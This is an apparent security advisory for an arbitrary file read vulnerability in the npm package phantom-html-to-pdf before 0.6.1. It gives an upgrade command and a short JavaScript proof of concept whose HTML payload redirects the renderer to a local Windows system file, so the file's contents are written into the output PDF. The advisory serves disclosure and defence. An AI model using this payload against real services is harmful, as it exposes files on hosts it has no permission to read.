HIGH7.5
GHSA-6h7f-qwqm-35pp
Arbitrary File Read in phantom-html-to-pdf
Quick fix
GHSA-6h7f-qwqm-35pp — phantom-html-to-pdf: upgrade to the fixed version with the command below.
npm install phantom-html-to-pdf@0.6.2Details
This affects the package phantom-html-to-pdf before 0.6.1.
### PoC ```js var fs = require('fs') var conversion = require("phantom-html-to-pdf")(); conversion.allowLocalFilesAccess = false conversion({ html: "document.write(window.location='c:/windows/win.ini')" }, function(err, pdf) { var output = fs.createWriteStream('output.pdf') console.log(pdf.logs); console.log(pdf.numberOfPages); pdf.stream.pipe(output); }); ```
Are you affected?
Enter the version of the package you're using.